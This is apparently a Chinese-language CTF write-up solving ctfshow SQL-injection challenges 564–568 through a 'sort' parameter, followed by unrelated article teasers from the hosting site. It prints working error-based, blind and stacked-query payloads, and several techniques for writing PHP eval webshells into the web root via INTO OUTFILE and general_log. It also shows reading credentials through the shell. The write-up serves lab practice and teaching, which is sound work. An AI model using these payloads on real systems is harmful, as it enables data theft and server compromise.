?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(flag4s)from(ctfshow.flags)),0x7e))),1)

方法二:盲注

直接注行得通

?sort=3 and if((length(database())=8),1,sleep(5))--+

也可以利用上文提到的rand来盲注。

?sort=rand(left(database(),1)>'r')
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

方法三:写入文件

?sort=1 into outfile "/var/www/html/x.txt"

结果验证,我们有写入文件的权限。

image-20230730002426963

同理,那我们可以写入shell到文件。


写入webshell条件:

1.MYSQL用secure_file_priv这个配置项来完成对数据导入导出的限制,
如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。
如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
如果secure_file_priv=“” ,MYSQL服务导入和导出不做限制
通过命令查看secure-file-priv的当前值,确定是否允许导入导出以及导出文件路径
2.MYSQL中root用户拥有所有权限,但写入webshell并不需要一定是root用户权限,比如数据库用户只要拥有FILE权限就可以执行select into outfile操作
3.当secure_file_priv文件导出路径与web目录路径重叠,写入webshell才可以被访问到

(来自SQL注入写入webshell_番茄酱料的博客-CSDN博客)


写入shell方式汇总(与题目无关,知识补充):

1.union select写入

1' union select 1,"<?php @eval($_POST['cmd'])?>" into outfile '/var/www/html/x.php' -- +

2.lines terminated by写入

当mysql注入点为盲注、报错或排序,Union select写入是不能利用的,那么可以通过分隔符写入,SQLMAP的–os-shell命令,所采用的就是这种方式。

利用lines terminated by语句进行拼接,可以理解成以每行结尾的位置添加xx语句

?sort=1' into outfile "/var/www/html/x.php" lines terminated by '<?php phpinfo(); ?>'--+

3.lines starting by写入

1’ into outfile ‘E:\phpStudy\PHPTutorial\WWW\DVWA-master\123.php’ lines starting by ‘<?php phpinfo() ?>’–

?sort=1' into outfile "/var/www/html/x.php" lines starting by '<?php phpinfo(); ?>'--+

利用lines starting by语句进行拼接,拼接后面的webshell内容,lines starting by可以理解成以每行开始的位置添加xx语句

4.fields terminated by写入

?sort=1' into outfile "/var/www/html/x.php" fields terminated by  '<?php phpinfo(); ?>'--+

利用fields terminated by语句进行拼接,拼接后面的webshell内容,fields terminated by可以理解为以每个字段的位置添加xx内容

5.COLUMNS terminated by写入

?sort=1' into outfile "/var/www/html/x.php" COLUMNS terminated by  '<?php phpinfo(); ?>'--+

利用COLUMNS terminated by语句进行拼接,拼接后面的webshell内容,COLUMNS terminated by可以理解为以每个字段的位置添加xx内容

6.利用log写入

新版本的MYSQL设置了导出文件的路径,很难在获取webshell过程中去修改配置的文件,无法通过使用select into outfile来写入一句话,这时我们可以通过修改MYSQL的log文件来获取Webshell

条件:数据库用户需具备Super和File服务器的权限、需要获取物理路径

show variables like '%general%';                        #查看配置
set global general_log = on;                            #开启general log模式
set global general_log_file = 'E:/phpStudy/PHPTutorial/WWW/DVWA-master/evil.php';    #设置日志目录为shell地址
select '<?php phpinfo() ?>'                     #写入shell
set global general_log=off;                             #关闭general log模式

解题就跟着国光大师傅选择第二种,lines terminated by写入。

lines terminated by 姿势用于order by的情况来 getsgell

**lines-terminated-by:**指定行结束符,默认值就是换行符。

0x3c706870206576616c28245f504f53545b785d293b3e 是 <php eval($_POST[x]);> 的十六进制编码。

?sort=1 into outfile "/var/www/html/xx.php" lines terminated by 0x3c706870206576616c28245f504f53545b785d293b3e

image-20230730011929997

写入成功,但是这里其实应该写入phpinfo的,SQL不区分大小写,shell的POST都是小写应该无效了。不过flag应该也不在这里,在数据库里面唉。

image-20230730012139680

附上国光大佬的博客。

SQLI labs 靶场精简学习记录 | 国光 (sqlsec.com)

web565

image-20230730013931562

和46关一样,但是是字符型,闭合是单引号'

payload:

?sort=1' AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +

image-20230730013945044

ctfshow{6a497933-6d3c-4d54-b871-5d25177d8c1f}

web566

还是47关的页面,测试一下。

?sort=1                         #回显排序结果
?sort=1--+                      #回显排序结果
?sort=1'--+                     #无回显,不报错
?sort=1')--+                    #无回显,不报错
?sort=1"--+                     #无回显,不报错
?sort=1")--+                    #无回显,不报错

暂且认定这题是数字型,不用闭合。这关应该是48关,去掉了报错。

尝试写入phpinfo到文件

?sort=1 into outfile "/var/www/html/x1.php" lines terminated by '<?php phpinfo(); ?>'

可行,有权限。

image-20230730171802907

但是flag不在phpinfo里面。

image-20230730171911009

尝试写入shell到文件

?sort=1 into outfile "/var/www/html/x2.php" lines terminated by '<?php eval($_POST[x]); ?>'

可行,但是也找不到flag。

image-20230730172116433

flag应该在数据库里面,尝试蚁剑链接shell。

查询数据库密码:system("tac ./api/config.php");

这里并没有抓到数据库密码,蚁剑里面自己找了。

/var/www/html/sql-connections/db-creds.inc

image-20230730173204503

蚁剑首页->右键数据操作->添加

image-20230730173226533

直接能得到flag

image-20230730173300772

ctfshow{4b8ca2a8-ab2e-442e-bbf2-01b17ef82dba}

这里盲注(时间/布尔)也都可行,不再演示了。

web567

image-20230730173925653

和46关(web564)一样。

payload:

?sort=1 AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +

image-20230730174019818

ctfshow{8feba2f1-37df-4646-93ad-6415b146ee58}

查看源码,发现使用了mysqli_multi_query()函数。

查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入,参考38关(web558),所以还比46关多了一种方式。

image-20230730174212413

payload:

?sort=-1;insert into users(id,username,password) values ('17','Jay','I love 36D too')

image-20230730174837199

web568

和50关(web567)相比,变成了字符型,闭合是单引号'

payload:

?sort=1' AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +

image-20230730175209847

ctfshow{cfb6bc42-c5fb-476c-abe2-b7ac439926f0}

至此,CTFshow上的sqlilabs结束力,剩下的就开始本地打了。
感谢各位师傅们的阅读~~~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/813510.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

json-server详解

零、文章目录 json-server详解 1、简介 Json-server 是一个零代码快速搭建本地 RESTful API 的工具。它使用 JSON 文件作为数据源&#xff0c;并提供了一组简单的路由和端点&#xff0c;可以模拟后端服务器的行为。github地址&#xff1a;https://github.com/typicode/json-…

RWEQ模型——土壤风蚀模拟

详情点击链接&#xff1a;基于“RWEQ”集成技术在土壤风蚀模拟与风蚀模数估算、变化归因分析中的实践应用及SCI论文撰写 前沿 土壤风蚀是一个全球性的环境问题。中国是世界上受土壤风蚀危害最严重的国家之一&#xff0c;土壤风蚀是中国干旱、半干旱及部分湿润地区土地荒漠化的…

解读Spring-context的property-placeholder

在spring中&#xff0c;如果要给程序定义一些参数&#xff0c;可以放在application.properties中&#xff0c;通过<context:property-placeholder>加载这个属性文件&#xff0c;然后就可以通过value给我们的变量自动赋值&#xff0c;如果你们的程序可能运行在多个环境中&…

Android 面试题 应用程序结构 九

&#x1f525; 核心应用程序 Activity五个状态&#x1f525; Starting-> running-> paused-> stopped-> killed 启动状态&#xff08;Starting&#xff09;&#xff1a;Activity的启动状态很短暂&#xff0c;当Activity启动后便会进入运行状态&#xff08;Running…

大数据Flink(五十四):Flink用武之地

文章目录 Flink用武之地 一、Event-driven Applications【事件驱动】 二、Data Analytics Applications【数据分析】 三、​​​​​​​Data Pipeline Applications【数据管道】 Flink用武之地 应用场景 | Apache Flink 从很多公司的应用案例发现&#xff0c;其实Flink主…

tinkerCAD案例:25. 量角器 - 测量角度

tinkerCAD案例&#xff1a;25. 量角器 - 测量角度 原文 Now we’re going to make a protractor! A Protractor is one of the most basic, but essential, tools for making measurements. It is, then, surprising that the modern protractor is barely over 200 years ol…

简单实现jdk1.7HashMap

1.定义一个Map接口,Entry<K,V>对象为Map的元素 package test;public interface Map<K,V> {V put(K k,V v);V get(K k);int size();interface Entry<K,V>{K getKey();V getValue();}}2.主要实现了put,get以及size()方法 package test;public class HashMap&…

uniapp小程序,根据小程序的环境版本,控制的显页面功能按钮的示隐藏

需求&#xff1a;根据小程序环境控制控制页面某个功能按钮的显示隐藏&#xff1b; 下面是官方文档和功能实现的相关代码&#xff1a; 实现上面需要&#xff0c;用到了uni.getAccountInfoSync()&#xff1a; uni.getAccountInfoSync() 是一个 Uniapp 提供的同步方法&#xff0c…

零代码编程:用ChatGPT对Excel表格进行批量自动化处理

F盘的“北交所上市公司全部发明专利”文件夹里面有几百个这样的Excel表格&#xff0c;格式一致&#xff0c;需要合并所有表格内容到一个表格&#xff0c;方便查找内容&#xff0c;但是不要前面两行。 可以在ChatGPT中这样输入&#xff1a; 写一段Python程序&#xff1a; F盘的…

基于opencv与机器学习的摄像头实时识别数字!附带完整的代码、数据集和训练模型!!

前言 使用摄像头实时识别数字算是目标检测任务&#xff0c;总体上分为两步&#xff0c;第一步是检测到数字卡片的位置&#xff0c;第二步是对检测到的数字卡片进行分类以确定其是哪个数字。在第一步中主要涉及opencv的相关功能&#xff0c;第二步则使用机器学习的方式进行分类…

求三个球面交点的高效解法

文章目录 一、问题描述二、推导步骤代数法几何法 三、MATLAB代码 一、问题描述 如图&#xff0c;已知三个球面的球心坐标分别为 P 1 ( x 1 , y 1 , z 1 ) , P 2 ( x 2 , y 2 , z 2 ) , P 3 ( x 3 , y 3 , z 3 ) P_1(x_1,y_1,z_1),P_2(x_2,y_2,z_2),P_3(x_3,y_3,z_3) P1​(x1​,…

浏览器访问nginx转发打开oss上的html页面默认是下载,修改为预览

使用阿里云盒OSS上传了html页面&#xff0c;在nginx里配置跳转访问该页面时&#xff0c;在浏览器里直接默认下载了该页面&#xff0c;现在想实现预览功能&#xff0c;只需在nginx里的location里修改消息头的Content-Disposition为inline即可 注意要隐藏头信息proxy_hide_header…

【机器学习】西瓜书习题3.3Python编程实现对数几率回归

参考代码 结合自己的理解&#xff0c;添加注释。 代码 导入相关的库 import numpy as np import pandas as pd import matplotlib from matplotlib import pyplot as plt from sklearn import linear_model导入数据&#xff0c;进行数据处理和特征工程 # 1.数据处理&#x…

ChatGPT炒股:爬取股票官方微信公众号的新闻资讯

上市公司的微信公众号&#xff0c;现在已经成为官网之外最重要的官方信息发布渠道。有些不会在股票公告中发布的消息&#xff0c;也会在微信公众号进行发布。所以&#xff0c;跟踪持仓股票的公众号信息&#xff0c;非常重要。 下面&#xff0c;以贝特瑞的官方公众号“贝特瑞新…

合并两个有序数组——力扣88

文章目录 题目描述法一 双指针法二 逆向双指针 题目描述 法一 双指针 使用双指针方法&#xff0c;将两个数组看作队列&#xff0c;每次从两个数组头部取出比较小的数字放到结果中。 void merge(vector<int>&nums1, int m,vector<int>&nums2, int n){int p1…

无涯教程-jQuery - Select menu组件函数

小部件选择菜单功能可与JqueryUI中的小部件一起使用&#xff0c;它提供了可替换样式的选择元素。一个简单的选择菜单如下所示。 Select menu - 语法 $( "#menu" ).selectmenu(); Select menu - 示例 以下是显示选择菜单用法的简单示例- <!doctype html> &…

关于Java的多线程实现

多线程介绍 进程&#xff1a;进程指正在运行的程序。确切的来说&#xff0c;当一个程序进入内存运行&#xff0c;即变成一个进程&#xff0c;进程是处于运行过程中的程序&#xff0c;并且具有一定独立功能。 线程&#xff1a;线程是进程中的一个执行单元&#xff0c;负责当前进…

大数据课程D11——hadoop的Ganglia

文章作者邮箱&#xff1a;yugongshiyesina.cn 地址&#xff1a;广东惠州 ▲ 本章节目的 ⚪ 了解Ganglia的概念&#xff1b; ⚪ 掌握Ganglia的安装操作&#xff1b; ⚪ 掌握Ganglia的监控Flume操作&#xff1b; 一、概述 1. Ganglia是UC Berkeley发起的一个开源…

JVM基础篇-程序计数器

程序计数器 定义 Program Counter Register 程序计数器&#xff08;寄存器&#xff09; 作用:记住下一条jvm指令的执行地址特点 是线程私有的:每个线程都有自己的程序计数器不会存在内存溢出(规定) 作用 左侧:jvm指令 右侧:java代码 0: getstatic #20 // PrintSt…

三维点云与深度图相互转换

点云转深度图 一、效果二、实现原理与代码2.1 获取点云边界2.2 确定图像大小2.3 稀疏点图像填充2.4 完整代码三、由深度图转换回点云信息丢失问题3.1 深度图转点云3.2 深度图转点云代码3.3 多视角的深度图融合一、效果 对点云进行转换,z向表示深度,转换效果如下 二、实现…